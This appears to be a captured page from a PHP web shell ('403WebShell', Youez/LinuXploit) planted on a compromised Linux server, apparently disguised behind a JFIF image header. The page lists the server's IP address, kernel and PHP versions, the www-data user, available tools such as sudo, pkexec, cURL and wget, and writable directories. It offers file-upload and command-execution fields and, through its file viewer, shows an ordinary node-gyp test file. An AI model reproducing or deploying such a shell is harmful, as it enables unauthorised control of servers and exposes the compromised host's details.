????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.147.78.141
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/node_modules/npm/node_modules/node-gyp/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/node_modules/npm/node_modules/node-gyp/test/test-install.js
'use strict'

const test = require('tap').test
const install = require('../lib/install').test.install

require('npmlog').level = 'error' // we expect a warning

test('EACCES retry once', function (t) {
  t.plan(3)

  var fs = {}
  fs.stat = function (path, cb) {
    var err = new Error()
    err.code = 'EACCES'
    cb(err)
    t.ok(true)
  }

  var gyp = {}
  gyp.devDir = __dirname
  gyp.opts = {}
  gyp.opts.ensure = true
  gyp.commands = {}
  gyp.commands.install = function (argv, cb) {
    install(fs, gyp, argv, cb)
  }
  gyp.commands.remove = function (argv, cb) {
    cb()
  }

  gyp.commands.install([], function (err) {
    t.ok(true)
    if (/"pre" versions of node cannot be installed/.test(err.message)) {
      t.ok(true)
      t.ok(true)
    }
  })
})

Youez - 2016 - github.com/yon3zu
LinuXploit